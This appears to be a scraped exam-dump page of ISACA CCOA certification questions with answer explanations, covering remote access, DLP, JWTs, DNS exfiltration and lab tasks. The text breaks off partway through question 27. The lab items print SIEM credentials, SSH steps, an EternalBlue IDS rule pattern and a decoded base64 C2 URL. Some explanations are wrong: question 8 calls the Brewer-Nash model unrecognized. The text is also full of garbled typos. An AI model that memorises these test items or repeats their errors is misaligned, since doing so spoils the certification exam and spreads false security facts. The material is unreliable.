ISACA.CCOA.v2025-08-18.q49

Exam Code:	CCOA
Exam Name:	ISACA Certified Cybersecurity Operations Analyst
Certification Provider:	ISACA
Free Question Number:	49
Version:	v2025-08-18
# of views:	135
# of Questions views:	490
https://www.exam-tests.com/CCOA-exam/ISACA.CCOA.v2025-08-18.q49.html	

NEW QUESTION: 1
Management has requested an additional layer of remote access control to protect a critical database that is hosted online. Which of the following would 8EST provide this protection?
A. Incremental backups conducted continuously
B. A proxy server with a virtual private network (VPN)
C. Implementation of group rights
D. Encryption of data at rest
Answer: B (LEAVE A REPLY)
To add an extra layer of remote access control to a critical online database, using aproxy server combined with a VPNis the most effective method.
* Proxy Server:Acts as an intermediary, filtering and logging traffic.
* VPN:Ensures secure, encrypted connections from remote users.
* Layered Security:Integrating both mechanisms protects the database by restricting direct public access and encrypting data in transit.
* Benefit:Even if credentials are compromised, attackers would still need VPN access.
Incorrect Options:
* A. Incremental backups:This relates to data recovery, not access control.
* C. Implementation of group rights:This is part of internal access control but does not add a remote protection layer.
* D. Encryption of data at rest:Protects stored data but does not enhance remote access security.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Remote Access Security," Subsection "Securing RemoteAccess with VPNs and Proxies" - VPNs combined with proxies are recommended for robust remote access control.

NEW QUESTION: 2
Which types of network devices are MOST vulnerable due to age and complexity?
A. Ethernet
B. Mainframe technology
C. Operational technology
D. Wireless
Answer: (SHOW ANSWER)
Operational Technology (OT)systems are particularly vulnerable due to theirage, complexity, and long upgrade cycles.
* Legacy Systems:Often outdated, running on old hardware and software with limited update capabilities.
* Complexity:Integrates various control systems like SCADA, PLCs, and DCS, making consistent security challenging.
* Lack of Patching:Industrial environments often avoid updates due to fear of system disruptions.
* Protocols:Many OT devices use insecure communication protocols that lack modern encryption.
Incorrect Options:
* A. Ethernet:A network protocol, not a system prone to aging or complexity issues.
* B. Mainframe technology:While old, these systems are typically better maintained and secured.
* D. Wireless:While vulnerable, it's not primarily due to age or inherent complexity.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Securing Legacy Systems," Subsection "Challenges in OT Security" - OT environments often face security challenges due to outdated and complex infrastructure.

NEW QUESTION: 3
Which of the following is the BEST way for an organization to balance cybersecurity risks and address compliance requirements?
A. Accept that compliance requirements may conflict with business needs and operate in a diminished capacity to achieve compliance.
B. Meet the minimum standards for the compliance requirements to ensure minimal impact to business operations,
C. Evaluate compliance requirements in thecontext at business objectives to ensure requirements can be implemented appropriately.
D. Implement only the compliance requirements that do not Impede business functions or affect cybersecurity risk.
Answer: C (LEAVE A REPLY)
Balancingcybersecurity riskswithcompliance requirementsrequires a strategic approach that aligns security practices with business goals. The best way to achieve this is to:

* Contextual Evaluation:Assess compliance requirements in relation to the organization's operational needs and objectives.
* Risk-Based Approach:Instead of blindly following standards, integrate them within the existing risk management framework.
* Custom Implementation:Tailor compliance controls to ensure they do not hinder critical business functions while maintaining security.
* Stakeholder Involvement:Engage business units to understand how compliance can be integrated smoothly.
Other options analysis:
* A. Accept compliance conflicts:This is a defeatist approach and does not resolve the underlying issue.
* B. Meet minimum standards:This might leave gaps in security and does not foster a comprehensive risk-based approach.
* D. Implement only non-impeding requirements:Selectively implementing compliance controls can lead to critical vulnerabilities.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Governance and Risk Management:Discusses aligning compliance with business objectives.
* Chapter 5: Risk Management Strategies:Emphasizes a balanced approach to security and compliance.

NEW QUESTION: 4
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the C2 host of the attack. Enter your responsebelow.
Answer:
See the solution in Explanation.
Explanation:
To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:
Step 1: Access the File
* Log into the Analyst Desktop.
* Navigate to theDesktopand locate the file:
pcap_artifact5.txt
* Open the file using a text editor:
* OnWindows:
nginx
notepad pcap_artifact5.txt
* OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents

* Check the contents to identify the encoding format. Typical encodings used for C2 communication include:
* Base64
* Hexadecimal
* URL Encoding
* ROT13
Example File Content (Base64 format):
nginx
aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
* OpenPowerShelland decode:
powershell
$encoded = Get-Content "C:\Users\<Username>\Desktop\pcap_artifact5.txt"
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
* This will print the decoded content directly.
Method 2: Using Linux
* Usebase64 decoding:
base64 -d ~/Desktop/pcap_artifact5.txt
* If the content ishexadecimal, convert it as follows:
xxd -r -p ~/Desktop/pcap_artifact5.txt
* If it appearsURL encoded, use:
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
Step 4: Analyze the Decoded Output
* If the output appears like a URL or an IP address, that is likely theC2 host.
Example Decoded Output:
arduino
http://10.10.44.200:8080/command.php
* TheC2 hostis:
10.10.44.200
Step 5: Cross-Verify the C2 Host
* OpenWiresharkand load the relevant PCAP file to cross-check the IP:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
* Filter for C2 traffic:
ini
ip.addr == 10.10.44.200
* Validate the C2 host IP address through network traffic patterns.
10.10.44.200
Step 6: Document the Finding
* Record the following details:

* Decoded C2 Host:10.10.44.200
* Source File:pcap_artifact5.txt
* Decoding Method:Base64 (or the identified method)
Step 7: Next Steps
* Threat Mitigation:
* Block the IP address10.10.44.200at the firewall.
* Conduct anetwork-wide searchto identify any communications with the C2 server.
* Further Analysis:
* Check other PCAP files for similar traffic patterns.
* Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

NEW QUESTION: 5
Cyber Analyst Password:
For questions that require use of the SIEM, pleasereference the information below:
https://10.10.55.2
Security-Analyst!
CYB3R-4n4ly$t!
Email Address:
ccoatest@isaca.org
Password:Security-Analyst!
The enterprise has been receiving a large amount offalse positive alerts for the eternalblue vulnerability.
TheSIEM rulesets are located in /home/administrator/hids/ruleset/rules.
What is the name of the file containing the ruleset foreternalblue connections? Your response must includethe file extension.
Answer:
Step 1: Define the Problem and Objective
Objective:
* Identify thefile containing the rulesetforEternalBlue connections.
* Include thefile extensionin the response.
Context:
* The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.
* The rulesets are located at:
/home/administrator/hids/ruleset/rules
* We need to find the specific file associated withEternalBlue.
Step 2: Prepare for Access
2.1: SIEM Access Details:
* URL:
https://10.10.55.2
* Username:
ccoatest@isaca.org

* Password:
Security-Analyst!
* Ensure your machine has access to the SIEM system via HTTPS.
Step 3: Access the SIEM System
3.1: Connect via SSH (if needed)
* Open a terminal and connect:
ssh administrator@10.10.55.2
* Password:
Security-Analyst!
* If prompted about SSH key verification, typeyesto continue.
Step 4: Locate the Ruleset File
4.1: Navigate to the Ruleset Directory
* Change to the ruleset directory:
cd /home/administrator/hids/ruleset/rules
ls -l
* You should see a list of files with names indicating their purpose.
4.2: Search for EternalBlue Ruleset
* Use grep to locate the EternalBlue rule:
grep -irl "eternalblue" *
* Explanation:
* grep -i: Case-insensitive search.
* -r: Recursive search within the directory.
* -l: Only print file names with matches.
* "eternalblue": The keyword to search.
* *: All files in the current directory.
Expected Output:
exploit_eternalblue.rules
* Filename:
exploit_eternalblue.rules
* The file extension is .rules, typical for intrusion detection system (IDS) rule files.
Step 5: Verify the Content of the Ruleset File
5.1: Open and Inspect the File
* Use less to view the file contents:
less exploit_eternalblue.rules
* Check for rule patterns like:
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)
* Use the search within less:
/eternalblue
* Purpose:Verify that the file indeed contains the rules related to EternalBlue.
Step 6: Document Your Findings
* Ruleset File for EternalBlue:

exploit_eternalblue.rules
* File Path:
/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules
* Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.
Step 7: Recommendation
Mitigation for False Positives:
* Update the Ruleset:
* Modify the file to reduce false positives by refining the rule conditions.
* Update Signatures:
* Check for updated rulesets from reliable threat intelligence sources.
* Whitelist Known Safe IPs:
* Add exceptions for legitimate internal traffic that triggers the false positives.
* Implement Tuning:
* Adjust the SIEM correlation rules to decrease alert noise.
Final Verification:
* Restart the IDS service after modifying rules to ensure changes take effect:
sudo systemctl restart hids
* Check the status:
sudo systemctl status hids
Final Answer:
* Ruleset File Name:
exploit_eternalblue.rules

NEW QUESTION: 6
Which of the following is MOST likely to outline and communicate the organization's vulnerability management program?
A. Vulnerability assessment report
B. Guideline
C. Policy
D. Control framework
Answer: C (LEAVE A REPLY)
Apolicyis the most likely document to outline and communicate an organization's vulnerability management program.
* Purpose:Policies establish high-level principles and guidelines for managing vulnerabilities.
* Scope:Typically includes roles, responsibilities, frequency of assessments, and remediation processes.
* Communication:Policies are formal documents that are communicated across the organization to ensure consistent adherence.

* Governance:Ensures that vulnerability management practices align with organizational risk management objectives.
Incorrect Options:
* A. Vulnerability assessment report:Details specific findings, not the overarching management program.
* B. Guideline:Provides suggestions rather than mandates; less formal than a policy.
* D. Control framework:A broader structure that includes policies but does not specifically outline the vulnerability management program.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Vulnerability Management Program," Subsection "Policy Development" - A comprehensive policy defines the entire vulnerability management approach.

NEW QUESTION: 7
Which of the following is theMOSTimportant component oftheasset decommissioning process from a data risk perspective?
A. Informing the data owner when decommissioning is complete
B. Destruction of data on the assets
C. Updating the asset status in the configuration management database (CMD8)
D. Removing the monitoring of the assets
Answer: B (LEAVE A REPLY)
Themost important component of asset decommissioningfrom adata risk perspectiveis thesecure destruction of dataon the asset.
* Data Sanitization:Ensures that all sensitive information is irretrievably erased before disposal or repurposing.
* Techniques:Physical destruction, secure wiping, or degaussing depending on the storage medium.
* Risk Mitigation:Prevents data leakage if the asset falls into unauthorized hands.
Incorrect Options:
* A. Informing the data owner:Important but secondary to data destruction.
* C. Updating the CMDB:Administrative task, not directly related to data risk.
* D. Removing monitoring:Important for system management but not the primary risk factor.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Asset Decommissioning," Subsection "Data Sanitization Best Practices" - Data destruction is the most critical step to mitigate risks.

NEW QUESTION: 8
Which type of security model leverages the use of data science and machine learning (ML) to further enhance threat intelligence?
A. Brew-Nash model

B. Bell-LaPadula confidentiality model
C. Security-In-depth model
D. Layered security model
Answer: D (LEAVE A REPLY)
TheLayered security model(also known asDefense in Depth) increasingly incorporatesdata science and machine learning (ML)to enhance threat intelligence:
* Data-Driven Insights:Uses ML algorithms to detect anomalous patterns and predict potential attacks.
* Multiple Layers of Defense:Integrates traditional security measures with advanced analytics for improved threat detection.
* Behavioral Analysis:ML models analyze user behavior to identify potential insider threats or compromised accounts.
* Adaptive Security:Continually learns from data to improve defense mechanisms.
Incorrect Options:
* A. Brew-Nash model:Not a recognized security model.
* B. Bell-LaPadula confidentiality model:Focuses on maintaining data confidentiality, not on dynamic threat intelligence.
* C. Security-in-depth model:Not a formal security model; more of a general principle.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Advanced Threat Detection Techniques," Subsection "Layered Security and Machine Learning" - The layered security model benefits from incorporating ML to enhance situational awareness.

NEW QUESTION: 9
Which of the following BEST describes JSON web tokens?
A. They can be used to store user Information and session data.
B. They can only be used to authenticate users in web applications.
C. They are signed using a public key and verified using a private key.
D. They are only used with symmetric encryption.
Answer: A (LEAVE A REPLY)
JSON Web Tokens (JWTs)are used totransmit data between parties securely, often forauthentication and session management.
* Data Storage:JWTs can contain user information and session details within thepayloadsection.
* Stateless Authentication:Since the token itself holds the user data, servers do not need to store sessions.
* Signed, Not Encrypted:JWTs are typicallysigned using private keysto ensure integrity but may or may not be encrypted.
* Common Usage:API authentication, single sign-on (SSO), and user sessions in web applications.
Other options analysis:

* B. Only for authentication:JWTs can also carry claims for authorization or session data.
* C. Signed using public key:Usually, JWTs aresigned with a private keyandverified using a public key.
* D. Only symmetric encryption:JWTs can useboth symmetric (HMAC) and asymmetric (RSA/EC) algorithms.
CCOA Official Review Manual, 1st Edition References:
* Chapter 8: Authentication and Token Management:Explains the role of JWTs in secure data transmission.
* Chapter 9: API Security:Discusses the use of JWTs for secure API communication.

NEW QUESTION: 10
Which of the following is MOST important for maintaining an effective risk management program?
A. Monitoring regulations
B. Automated reporting
C. Approved budget
D. Ongoing review
Answer: D (LEAVE A REPLY)

NEW QUESTION: 11
Which of the following network topologies is MOST resilient to network failures and can prevent a single point of failure?
A. Mesh
B. Star
C. Bus
D. Ring
Answer: A (LEAVE A REPLY)
Amesh network topologyis the most resilient to network failures because:
* Redundancy:Each node is interconnected, providing multiple pathways for data to travel.
* No Single Point of Failure:If one connection fails, data can still be routed through alternative paths.
* High Fault Tolerance:The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.
* Ideal for Critical Infrastructure:Often used in environments where uptime is critical, such as financial or emergency services networks.
Other options analysis:
* B. Star:A central hub connects all nodes, so if the hub fails, the entire network collapses.
* C. Bus:A single backbone cable means a break in the cable can disrupt the entire network.
* D. Ring:Data travels in a circular path; a single break can isolate part of the network unless it is a dual- ring topology.

CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Security Operations:Discusses network topology and its impact on reliability and redundancy.
* Chapter 9: Network Design and Architecture:Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.

NEW QUESTION: 12
A bank employee is found to beexfiltrationsensitive information by uploading it via email. Which of the following security measures would be MOST effective in detecting this type of insider threat?
A. Data loss prevention (DIP)
B. Intrusion detection system (IDS)
C. Network segmentation
D. Security information and event management (SIEM)
Answer: A (LEAVE A REPLY)
Data Loss Prevention (DLP) systems are specifically designed to detect and prevent unauthorized data transfers. In the context of an insider threat, where a bank employee attempts toexfiltrate sensitive information via email, DLP solutions are most effective because they:
* Monitor Data in Motion:DLP can inspect outgoing emails for sensitive content based on pre-defined rules and policies.
* Content Inspection and Filtering:It examines email attachments and the body of the message for patterns that match sensitive data (like financial records or PII).
* Real-Time Alerts:Generates alerts or blocks the transfer when sensitive data is detected.
* Granular Policies:Allows customization to restrict specific types of data transfers, including via email.
Other options analysis:
* B. Intrusion detection system (IDS):IDS monitors network traffic for signs of compromise but is not designed to inspect email content or detect data exfiltration specifically.
* C. Network segmentation:Reduces the risk of lateral movement but does not directly monitor or prevent data exfiltration through email.
* D. Security information and event management (SIEM):SIEM can correlate events and detect anomalies but lacks the real-time data inspection that DLP offers.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Insider Threats and Mitigation:Discusses how DLP tools are essential for detecting data exfiltration.
* Chapter 6: Threat Intelligence and Analysis:Covers data loss scenarios and the role of DLP.
* Chapter 8: Incident Detection and Response:Explains the use of DLP for detecting insider threats.

NEW QUESTION: 13
Which of the following should be considered FIRST when defining an application security risk metric for an organization?
A. Critically of application data
B. Identification of application dependencies
C. Creation of risk reporting templates
D. Alignment with the system development life cycle (SDLC)
Answer: A (LEAVE A REPLY)
When defining anapplication security risk metric, the first consideration should be thecriticality of application data:
* Data Sensitivity:Determines the potential impact if the data is compromised.
* Risk Prioritization:Applications handling sensitive or critical data require stricter security measures.
* Business Impact:Understanding data criticality helps in assigning risk scores and prioritizing mitigation efforts.
* Compliance Requirements:Applications with sensitive data may be subject to regulations (like GDPR or HIPAA).
Incorrect Options:
* B. Identification of application dependencies:Important but secondary to understanding data criticality.
* C. Creation of risk reporting templates:Follows after identifying criticality and risks.
* D. Alignment with SDLC:Ensures integration of security practices but not the first consideration for risk metrics.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Risk Assessment in Application Security," Subsection "Identifying Critical Data"
- Prioritizing application data criticality is essential for effective risk management.

NEW QUESTION: 14
Which of the followingBESTdescribes static application security testing (SAST)?
A. Vulnerability scanning
B. Codereview
C. Attack simulation
D. Configuration management
Answer: (SHOW ANSWER)
Static Application Security Testing (SAST)involvesanalyzing source code or compiled codeto identify vulnerabilities without executing the program.
* Code Analysis:Identifies coding flaws, such asinjection, buffer overflows, or insecure function usage
.

* Early Detection:Can be integrated into the development pipeline to catch issues before deployment.
* Automation:Tools likeSonarQube, Checkmarx, and Fortifyare commonly used.
* Scope:Typically focuses on source code, bytecode, or binary code.
Other options analysis:
* A. Vulnerability scanning:Typically involves analyzing deployed applications or infrastructure.
* C. Attack simulation:Related to dynamic testing (e.g., DAST), not static analysis.
* D. Configuration management:Involves maintaining and controlling software configurations, not code analysis.
CCOA Official Review Manual, 1st Edition References:
* Chapter 9: Application Security Testing:Discusses SAST as a critical part of secure code development.
* Chapter 7: Secure Coding Practices:Highlights the importance of static analysis during the SDLC.

NEW QUESTION: 15
Which of the following utilities is MOST suitable for administrative tasks and automation?
A. Command line Interface (CLI)
B. Integrated development environment (IDE)
C. System service dispatcher (SSO)
D. Access control list (ACL)
Answer: A (LEAVE A REPLY)
TheCommand Line Interface (CLI)ismost suitable for administrative tasks and automationbecause:
* Scriptable and Automatable:CLI commands can be combined in scripts for automating repetitive tasks.
* Direct System Access:Administrators can directly interact with the system to configure, manage, and troubleshoot.
* Efficient Resource Usage:Consumes fewer system resources compared to graphical interfaces.
* Customizability:Advanced users can chain commands and create complex workflows using shell scripting.
Other options analysis:
* B. Integrated Development Environment (IDE):Primarily used for software development, not system administration.
* C. System service dispatcher (SSO):Not relevant for administrative tasks.
* D. Access control list (ACL):Manages permissions, not administrative automation.
CCOA Official Review Manual, 1st Edition References:
* Chapter 9: System Administration Best Practices:Highlights the role of CLI in administrative and automation tasks.

* Chapter 7: Automation in Security Operations:Explains the efficiency of CLI-based automation.

NEW QUESTION: 16
SOAP and REST are Iwo different approaches related to:
A. machine learning (ML) design.
B. cloud-based anomaly detection.
C. SG/6G networks.
D. application programming Interface (API) design.
Answer: D (LEAVE A REPLY)
SOAP (Simple Object Access Protocol)andREST (Representational State Transfer)are two common approaches used inAPI design:
* SOAP:A protocol-based approach with strict rules, typically using XML.
* REST:A more flexible, resource-based approach that often uses JSON.
* Usage:Both methods facilitate communication between applications, especially in web services.
* Key Difference:SOAP is more structured and secure for enterprise environments, while REST is lightweight and widely used in modern web applications.
Incorrect Options:
* A. Machine learning (ML) design:These protocols do not pertain to ML.
* B. Cloud-based anomaly detection:Not related to cloud anomaly detection.
* C. 5G/6G networks:APIs are application communication methods, not network technologies.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "API Security," Subsection "SOAP vs. REST" - SOAP and REST are widely adopted API design methodologies with distinct characteristics.

NEW QUESTION: 17
Which of the following roles is responsible for approving exceptions to and deviations from the incident management team charter on an ongoing basis?
A. Security steering group
B. Cybersecurity analyst

C. Chief information security officer (CISO)
D. Incident response manager
Answer: C (LEAVE A REPLY)
TheCISOis typically responsible for approvingexceptions and deviationsfrom theincident management team charterbecause:
* Strategic Decision-Making:As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.
* Policy Oversight:The CISO ensures that any exceptions align with organizational security policies.
* Incident Management Governance:As part of risk management, the CISO is involved in high-level decisions impacting incident response.
Other options analysis:
* A. Security steering group:Advises on strategy but does not typically approve operational deviations.
* B. Cybersecurity analyst:Executes tasks rather than making executive decisions.
* D. Incident response manager:Manages day-to-day operations but usually does not approve policy deviations.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Security Governance:Defines the role of the CISO in managing incident-related exceptions.
* Chapter 8: Incident Management Policies:Discusses decision-making authority within incident response.

NEW QUESTION: 18
Compliance requirements are imposed on organizations to help ensure:
A. systemvulnerabilities are mitigated in a timely manner.
B. security teams understand which capabilities are most important for protecting organization.
C. rapidly changing threats to systems are addressed.
D. minimum capabilities for protecting public interests are in place.
Answer: (SHOW ANSWER)
Compliance requirements are imposed on organizations to ensure that they meetminimum standards for protecting public interests.
* Regulatory Mandates:Many compliance frameworks (like GDPR or HIPAA) mandate minimum data protection and privacy measures.
* Public Safety and Trust:Ensuring that organizations follow industry standards to maintain data integrity and confidentiality.
* Baseline Security Posture:Establishes a minimum set of controls to protect sensitive information and critical systems.
Incorrect Options:

* A. System vulnerabilities are mitigated:Compliance does not directly ensure vulnerability management.
* B. Security teams understand critical capabilities:This is a secondary benefit but not the primary purpose.
* C. Rapidly changing threats are addressed:Compliance often lags behind new threats; it's more about maintaining baseline security.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Compliance and Legal Considerations," Subsection "Purpose of Compliance" - Compliance frameworks aim to ensure that organizations implement minimum protective measures for public safety and data protection.

NEW QUESTION: 19
Which of the following cyber crime tactics involves targets being contacted via text message by an attacker posing as a legitimate entity?
A. Hacking
B. Vishing
C. Smishing
D. Cyberstalking
Answer: C (LEAVE A REPLY)
Smishing(SMS phishing) involvessending malicious text messagesposing as legitimate entities to trick individuals into disclosing sensitive information or clicking malicious links.
* Social Engineering via SMS:Attackers often impersonate trusted institutions (like banks) to induce fear or urgency.
* Tactics:Typically include fake alerts, password reset requests, or promotional offers.
* Impact:Users may unknowingly provide login credentials, credit card information, or download malware.
* Example:A message claiming to be from a bank asking users to verify their account by clicking a link.
Other options analysis:
* A. Hacking:General term, does not specifically involve SMS.
* B. Vishing:Voice phishing via phone calls, not text messages.
* D. Cyberstalking:Involves persistent harassment rather than deceptive messaging.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Social Engineering Tactics:Explores phishing variants, including smishing.
* Chapter 8: Threat Intelligence and Attack Techniques:Details common social engineering attack vectors.

NEW QUESTION: 20
Which of the following MOST directly supports the cybersecurity objective of integrity?
A. Data backups
B. Digital signatures

C. Least privilege
D. Encryption
Answer: (SHOW ANSWER)
The cybersecurity objective ofintegrityensures that data isaccurate, complete, and unaltered. The most direct method to support integrity is the use ofdigital signaturesbecause:
* Tamper Detection:A digital signature provides a way to verify that data has not been altered after signing.
* Authentication and Integrity:Combines cryptographic hashing and public key encryption to validate both the origin and the integrity of data.
* Non-Repudiation:Ensures that the sender cannot deny having sent the message.
* Use Case:Digital signatures are commonly used in secure email, software distribution, and document verification.
Other options analysis:
* A. Data backups:Primarily supports availability, not integrity.
* C. Least privilege:Supports confidentiality by limiting access.
* D. Encryption:Primarily supports confidentiality by protecting data from unauthorized access.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Data Integrity Mechanisms:Discusses the role of digital signatures in preserving data integrity.
* Chapter 8: Cryptographic Techniques:Explains how signatures authenticate data.

NEW QUESTION: 21
Which of the following is the MOST effective way to prevent man-in-the-middle attacks?
A. Changing passwords regularly
B. Implementing firewalls on the network
C. Implementing end-to-end encryption
D. Enabling two-factor authentication
Answer: C (LEAVE A REPLY)
The most effective way to preventman-in-the-middle (MitM) attacksis by implementingend-to-end encryption:
* Encryption Mechanism:Ensures that data is encrypted on the sender's side and decrypted only by the intended recipient.
* Protection Against Interception:Even if attackers intercept the data, it remains unreadable without the decryption key.
* TLS/SSL Usage:Commonly used in HTTPS to secure data during transmission.
* Mitigation:Prevents attackers from viewing or altering data even if they can intercept network traffic.
Incorrect Options:

* A. Changing passwords regularly:Important for account security but not directly preventing MitM.
* B. Implementing firewalls:Protects against unauthorized access but not interception of data in transit.
* D. Enabling two-factor authentication:Enhances account security but does not secure data during transmission.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security Measures," Subsection "Mitigating Man-in-the-Middle Attacks" - End-to-end encryption is the primary method to secure communication against interception.

NEW QUESTION: 22
Which of the following is MOST likely to result from misunderstanding the cloud service shared responsibility model?
A. Falsely assuming that certain risks have been transferred to the vendor
B. Improperly securing access to the cloud metastructure layer
C. Misconfiguration of access controls for cloud services
D. Being forced to remain with the cloud service provider due to vendor lock-In
Answer: A (LEAVE A REPLY)
Misunderstanding thecloud service shared responsibility modeloften leads to the false assumption that the cloud service provider (CSP) is responsible for securing all aspects of the cloud environment.
* What is the Shared Responsibility Model?It delineates the security responsibilities of the CSP and the customer.
* Typical Misconception:Customers may believe that the provider handles all security aspects, including data protection and application security, while in reality, the customer is usually responsible for securing data and application configurations.
* Impact:This misunderstanding can result in unpatched software, unsecured data, or weak access control.
Incorrect Options:
* B. Improperly securing access to the cloud metastructure layer:This is a specific security flaw but not directly caused by misunderstanding the shared responsibility model.
* C. Misconfiguration of access controls for cloud services:While common, this usually results from poor implementation rather than misunderstanding shared responsibility.
* D. Vendor lock-in:This issue arises from contractual or technical dependencies, not from misunderstanding the shared responsibility model.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Security Models," Subsection "Shared Responsibility Model" - Misunderstanding the shared responsibility model often leads to misplaced assumptions about who handles specific security tasks.

NEW QUESTION: 23
An attacker has compromised a number of systems on an organization'snetwork andisexfiltrationdata Usingthe Domain Name System (DNS) queries. Whichof the following is the BEST mitigation strategy to prevent data exfiltration using this technique?
mitigation strategy to prevent data exfiltration using this technique?
A. Implement Secure Sockets Layer (SSL) encryption on the DNS server.
B. Install a host-based Intrusion detection system (HIDS) on all systems in the network.
C. Block all outbound DNS traffic from the network.
D. Implement a DNS sinkhole to redirect alt DNS traffic to a dedicated server.
Answer: D (LEAVE A REPLY)
ADNS sinkholeis a network security mechanism thatintercepts DNS queriesand redirects them to a controlled server.
* Functionality:Instead of allowing the exfiltration traffic to reach its intended destination, the sinkhole captures and analyzes the data.
* Detection and Prevention:Identifies and mitigates DNS-based data exfiltration attempts.
* Monitoring:Enables security teams to detect compromised systems attempting to exfiltrate data.
Incorrect Options:
* A. Implement SSL encryption on DNS server:Does not address data exfiltration through DNS queries.
* B. Host-based IDS (HIDS):Detects anomalies but cannot block DNS-based exfiltration.
* C. Block all outbound DNS traffic:Impractical as DNS is essential for network communication.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "DNS Exfiltration Techniques," Subsection "Mitigation Strategies" - DNS sinkholes are effective for capturing and analyzing malicious DNS queries.

NEW QUESTION: 24
Which of the following BEST offers data encryption, authentication, and integrity of data flowing between a server and the client?
A. Secure Sockets Layer (SSL)
B. Kerbcros
C. Transport Layer Security (TLS)
D. Simple Network Management Protocol (SNMP)
Answer: (SHOW ANSWER)
Transport Layer Security (TLS)provides:
* Data Encryption:Ensures that the data transferred between the client and server is encrypted, preventing eavesdropping.
* Authentication:Verifies the identity of the server (and optionally the client) through digital certificates.

* Data Integrity:Detects any tampering with the transmitted data through cryptographic hash functions.
* Successor to SSL:TLS has largely replaced SSL due to better security protocols.
Incorrect Options:
* A. Secure Sockets Layer (SSL):Deprecated in favor of TLS.
* B. Kerberos:Primarily an authentication protocol, not used for data encryption in transit.
* D. Simple Network Management Protocol (SNMP):Used for network management, not secure data transmission.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Encryption Protocols," Subsection "TLS" - TLS is the recommended protocol for secure communication between clients and servers.

NEW QUESTION: 25
Exposing the session identifier in a URL is an example of which web application-specific risk?
A. Cryptographic failures
B. Insecure design and implementation
C. Identification and authentication failures
D. Broken access control
Answer: (SHOW ANSWER)
Exposing thesession identifier in a URLis a classic example of anidentification and authentication failure because:
* Session Hijacking Risk:Attackers can intercept session IDs when exposed in URLs, especially through techniques likereferrer header leaksorlogs.
* Session Fixation:If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.
* OWASP Top Ten 2021 - Identification and Authentication Failures (A07):Exposing session identifiers makes it easier for attackers to impersonate users.
* Secure Implementation:Best practices dictate storing session IDs inHTTP-only cookiesrather than in URLs to prevent exposure.
Other options analysis:
* A. Cryptographic failures:This risk involves improper encryption practices, not session management.
* B. Insecure design and implementation:Broad category, but this specific flaw is more aligned with authentication issues.
* D. Broken access control:Involves authorization flaws rather than authentication or session handling.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Web Application Security:Covers session management best practices and related vulnerabilities.
* Chapter 8: Application Security Testing:Discusses testing for session-related flaws.

NEW QUESTION: 26
Which of the following is a security feature provided by the WS-Security extension in the Simple Object Access Protocol (SOAP)?
A. Transport Layer Security (TLS)
B. Message confidentiality
C. Malware protection
D. Session management
Answer: (SHOW ANSWER)
TheWS-Securityextension inSimple Object Access Protocol (SOAP)provides security features at the message levelrather than thetransport level. One of its primary features ismessage confidentiality.
* Message Confidentiality:Achieved by encrypting SOAP messages using XML Encryption. This ensures that even if a message is intercepted, its content remains unreadable.
* Additional Features:Also provides message integrity (using digital signatures) and authentication.
* Use Case:Suitable for scenarios where messages pass through multiple intermediaries, as security is preserved across hops.
Incorrect Options:
* A. Transport Layer Security (TLS):Secures the transport layer, not the SOAP message itself.
* C. Malware protection:Not related to WS-Security.
* D. Session management:SOAP itself is stateless and does not handle session management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Web Services Security," Subsection "WS-Security in SOAP" - WS-Security provides message-level security, including confidentiality and integrity.

NEW QUESTION: 27
Analyze the file titled pcap_artifact5.txt on the AnalystDesktop.
Decode the contents of the file and save the output in atext file with a filename of pcap_artifact5_decoded.
txton the Analyst Desktop.
Answer:
See the solution in Explanation.
Explanation:
To decode the contents of the filepcap_artifact5.txtand save the output in a new file named pcap_artifact5_decoded.txt, follow these detailed steps:
Step 1: Access the File
* Log into the Analyst Desktop.
* Navigate to theDesktopand locate the file:

pcap_artifact5.txt
* Open the file using a text editor:
* OnWindows:
nginx
Notepad pcap_artifact5.txt
* OnLinux:
cat ~/Desktop/pcap_artifact5.txt
Step 2: Examine the File Contents
* Analyze the content to identify the encoding format. Common encoding types include:
* Base64
* Hexadecimal
* URL Encoding
* ROT13
Example File Content:
ini
